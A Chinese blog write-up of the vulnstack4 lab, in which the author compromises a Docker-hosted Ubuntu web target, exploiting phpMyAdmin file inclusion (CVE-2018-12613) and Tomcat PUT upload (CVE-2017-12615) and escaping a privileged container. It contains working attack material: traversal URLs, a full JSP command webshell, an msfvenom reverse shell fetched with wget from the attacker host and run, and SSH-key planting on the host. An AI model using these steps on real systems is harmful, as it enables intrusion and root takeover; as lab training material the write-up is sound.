vulnstack4內網滲透靶機實戰一


轉眼就進入紅5月,過了勞動節,我從安天集團實習回到學校,准備期末考試。剛走下緊張而又精彩紛呈的實習工作崗位,真還有那么一陣不適應的恍惚感覺。雖然要期末考試,但相對壓力不大,有時間,於是進入了滲透測試實踐活動中。
這種挑戰性生活還真是刺激。
 
無關於滲透測試實驗,但卻是我碰到的第一個問題,就是wsl2與VMware的兼容性問題,因為這幾個月實習工作運行的都是wsl2。VMware官方說支持hyper-V,需要更高的版本。而且據說性能有嚴重的問題,cpu占用居高不下拖累主機,我想還是以后解決這個問題,現在就暫時禁用hyper-V吧。
步驟包括禁用Device Guard或Credential Guard,和徹底關閉Hyper-V(僅僅程序與功能中關閉hyper-V還不夠,還要徹底關閉)
禁用用於啟用Credential Guard的組策略設置。
在主機操作系統上,右鍵單擊“開始” > “運行”,鍵入gpedit.msc,然后單擊“ 確定”。本地組策略編輯器打開。
轉至本地計算機策略 > 計算機配置 > 管理模板>系統 >Device Guard(或者是: 設備防護) > 啟用基於虛擬化的安全性。
選擇已禁用。

以管理員身份運行Windows Powershell (管理員)(我原有Terminal,打開即可)
運行命令
bcdedit /set hypervisorlaunchtype off
重啟本機
終於,我又回到VMware了。
這次靶場環境選擇紅日安全團隊搭建的系列靶場的其中之一,具體下載:
按其說明,可以進行以下漏洞利用和橫向移動攻擊:
 
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密鑰利用
流量轉發
歷史命令信息泄露
域滲透
 
現在開始我的 vulnstack之旅吧。

靶場環境

整個靶場環境有3個靶機,模擬從外網到內網的攻擊環境。根據我的網絡環境,修改ip段為:
靶場環境拓撲圖
我在在Vmware中設置兩個虛擬網卡橋接、VMnet2。橋接等同宿主機所在局域網網段,IP段為192.168.0.0/24,為外網或公網(模擬);VMnet2為僅主機模式,IP段設為192.168.183.0/24,位於該內網(模擬)網段的所有主機,都不能與外網通信。
kali攻擊機模擬外網:192.168.0.114
靶機ubuntu(web)服務器分別運行有apache(2001端口)、Tomcat(2002端口)、phpmyadmin(2003端口),配置兩個網卡橋接192.168.0.111和VMnet2的10.1.1.131,分別連接外網和內網;靶機域成員機和DC域控機軍win7在內網,與ubuntu(web)內網連接。
注意,按照靶場環境要求,內網處於域demo.com中,以DC機為域控。而靶場設定其處於192.168.183.0/24段,不能更改,因為域成員機的DNS均為192.168.183.130指向DC機,不能更改。如果更改內網ip段,則域無效,會出現報錯1355(指定的域不存在,或無法聯系)與1233(不能訪問網絡位置)。於是我只改外網段為橋接即可。
原下載web(ubuntu)環境只開啟了22端口:

見說明有docker逃逸問題,再見拓撲圖web由三個docker容器組成,所以猜想應該都是docker開啟。

docker只有root才能操作,因此必須先切換為root用戶。

sudo su  #切換為root用戶

 cd /home/ubuntu/Desktop/vulhub

可以試試進入相關目錄試試。
根據拓撲圖容器端口,靶場描述及docker images,st漏洞利用可以進入struts2,選擇str2框架遠程代碼執行漏洞s2-045;tomcat 漏洞利用進入tomcat,選擇CVE-2017-12615(tomcat 任意文件上傳漏洞) ;phpmyadmin getshell,進入phpmyadmin,選擇CVE-2018-12613(phpMyAdmin遠程文件包含漏洞)。
在各個目錄分別執行
docker-compose build
docker-compose up -d(可以只用這個命令開啟)
全部完成后查看運行容器:

具體操作

第一步信息收集,先nmap 掃描開發端口,尋找可能漏洞

CVE-2018-12613(phpMyAdmin遠程文件包含漏洞)復現

在nmap掃描圖見2003/tcp open  ,其phpMyAdmin 4.8.1,可能存在遠程文件包含漏洞。

CVE-2018-12613。這是一個經典漏洞,雖然版本比較舊了,真實環境中一般不會遇到,但作為技能學習,還是有必要熟悉的。

漏洞詳情網上搜索很多,該docker安裝版本同樣。

實際上,phpmyadmin漏洞一直是滲透測試玩人員關注的重點。想2020年就曾經爆出許多網站的phpmyadmin弱口令漏洞,一時間許多人涌入fodu搜尋相關網站,試圖通過phpmyadmin弱口令拿shell練手。

簡單進入vulhub/phpmyadmin:4.8.1 容器看看

 index.php中發現

target可以直接傳值輸入,我們可以傳入一個本地文件讓其包含,造成漏洞。具體審計可見有檢查及白名單過濾,因此$target 里要將“?”二次url編碼為%253f ,可繞過檢查過濾即“?截斷”,如 db_sql.php%253f,db_datadict.php等等都會被認為是一個目錄,可以用多級../../跨越,成功實現包含。

訪問http://192.168.0.111:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd, 

/etc/passwd被包含讀取,說明文件包含漏洞存在。

按sql執行select '<?php phpinfo();?>'

當前頁面按F12查找cookie中的phpMyAdmin 值即sessionid值

phpMyAdmin : c3b49a772232fd6796745182953b129c

session文件:sess_c3b49a772232fd6796745182953b129c,一般在/tmp下,

我們可以構建包含Session值的URL路徑,

http://192.168.0.111:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_c3b49a772232fd6796745182953b129c

可以成功顯示phpinfo()即包含成功。

到此本來可以寫如一句話,然后蟻劍連接及拿到shell。但我多次寫如入都不能連接,進入容器發現

原寫入的<?php @eval($_POST[cmd])?>,只剩下<?php @eval()?>,可能被容器殺滅了吧?在網上找到免殺的webshell,依然不能成功連接。想不通什么原因(與docker環境有關?),就暫時放棄在這里拿shell,更何況我們需要的不只是docker容器而是docker宿主機。

上傳漏洞進攻web機

目標Web服務器http://192.168.0.111的2002端口上運行着Tomcat,版本為8.5.19。

Tomcat的漏洞比較出名的有CVE-2017-12615任意文件上傳漏洞,攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 的webshell文件,JSP文件中的惡意代碼將能被服務器執行,導致服務器上的數據泄露或獲取服務器權限。

但此漏洞影響范圍是Apache Tomcat 7.0.0 – 7.0.79,我們靶機的Tomcat8.5.19版本受不受影響呢?

打開攻擊機kali,創建工作目錄,用searchsploit 搜索tomcat相關漏洞利用腳本exp:

 發現版本< 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 都存在類似CVE-2017-12615的利用方式。

 復制該exp到工作目錄

 42966.py為利用腳本,執行python程序進行利用

 u 參數檢查目標Web服務器相關漏洞是否存在

 目標的確存在漏洞,於是上傳了測試文件Poc.jsp。

 AAAAAAAA為測試內容。

 然后直接展開攻擊拿下目標shell:

而且拿下的shell權限為root.

我們的exp上傳了一個websheel文件pwn.jsp。但此shell不太穩定,容易崩潰,不能長期運行命令。於是我們通過目標網頁上運行:

 

 即在框中輸入命令通過get接收運行,相當於我們上傳了一個后門,而且是root權限。

如輸入ls

當然,我們還可以采用Tomcat 任意文件上傳漏洞(CVE-2017-12615)的經典利用方式,即用burpsuite抓包上傳webshell文件。

webshell文件shell.jsp:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

打開http://192.168.0.111:2002/,抓包

 將GET改為PUT,加上上傳文件名shell.jsp/,在空白處復制shell.jsp內容.

 上傳成功,訪問http://192.168.0.111:2002/shell.jsp

 該框同樣為后門,權限為root。使用方式與上面相同,都是輸入命令即可在網頁顯示執行結果。

 shell.jsp文件運行在docker容器中

顯然,我們需要docker逃逸來獲取docker宿主機的shell。

為了方便結合大殺器metasploit使用,我們可以反彈一個shell到kali攻擊機為meterpreter:

在攻擊機kali上執行生成木馬命令:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf > shell.elf

即在攻擊機當前目錄/root/vulunstack下生成了一個shell.elf木馬文件

我們在當前目錄下開啟一個簡單的HTTP服務(默認端口為8000),好上傳目標機該反彈馬文件。

python -m SimpleHTTPServer

再在http://192.168.0.111:2002/shell.jsp操作上傳:

wget http://192.168.0.114:8000/shell.elf

 

 

賦予該shell.elf權限777

chmod 777 shell.elf

然后執行

./shell.elf

打開msfconsole,生成監聽payload,開啟監聽

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.0.114   #設置攻擊機

set lport 4444 (默認端口4444,無需這條)

run

 

獲得了會話session1。

docker逃逸拿下ubuntu

到此為止,我們拿下的shell ,其實都局限於docker容器之內,但我們要求拿下的,是整個宿主機,是完成能夠獲取所有文件資源,訪問控制各個內網外網網卡的權限,進而拿下內網域管理權限等等的滲透任務。

嚴重安全漏洞(CVE-2019-5736),導致18.09.2版本之前的Docker允許惡意容器覆蓋宿主機上的runC二進制文件,由此使攻擊者能夠以root身份在宿主機上執行任意命令。惡意容器需滿足以下兩個條件之一: (1)由一個攻擊者控制的惡意鏡像創建、(2)攻擊者具有某已存在容器的寫權限,且可通過docker exec進入。

docker逃逸在於啟動dcoker時加入危險參數--privileged=ture(特權模式),允許容器內的root擁有外部物理機root權限而不是普通權限,本docker容器啟動即為特權模式。

當控制使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,使用特權模式啟動容器,可以獲取大量設備文件訪問權限。此外還可以通過寫入計划任務等方式在宿主機執行命令。

靶場描述中有一個“ssh密鑰利用”,應該是利用docker的特權模式來在宿主機硬盤中寫入ssh私鑰,建立用戶實現ssh免密登錄宿主機,從而實現對目標宿主機的控制。

ls /dev

 我們建立test目錄,將/dev/sda1 掛載到test 目錄

mkdir /test
mount /dev/sda1 /test
ls -alh /test

掛載成功,於是訪問test就等於訪問/dev/sda1 即整個宿主機硬盤,換句話說,我們可以通過訪問docker容器內部掛載整個宿主機本地文件的/test,來實現訪問整個宿主機的目的。

再看test目錄里有.ssh文件

ls -alh /test/home/ubuntu/.ssh/

當前目錄本地生成命為hhh的ssh秘鑰:

ssh-keygen -f hhh

chmod 600 hhh

 為方便起見,我們寫一個key.sh腳本,復制hhh.pub內容:

 

 上傳該key.sh到web目標機

chmod 777 key.sh
./key.sh

 ls -alh /test/home/ubuntu/.ssh

寫入成功。

攻擊者可以利用自己的私鑰(這里hhh)免密登陸目標機。

到此拿到了目標機的shell:

 然后我們上傳shell.elf到目標機ubuntu上下載,對,就是原來上傳到docker容器Apache Tomcat 即192.168.0.111:2002的那個,同樣可以反彈得到整個web目標機的會話meterpreter(以前我們得到的只在2002docker容器內部的反彈meterpreter)。

方法就在剛才我們對2002docker容器內部的反彈監聽,需要先執行

set AuotRunScript migrate -f 來遷移原來容器的進程到容器外整個宿主機ubuntu:

 現在我們已經可以滲透進內網。

太晚了,信息一下,明天再攻入內網。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM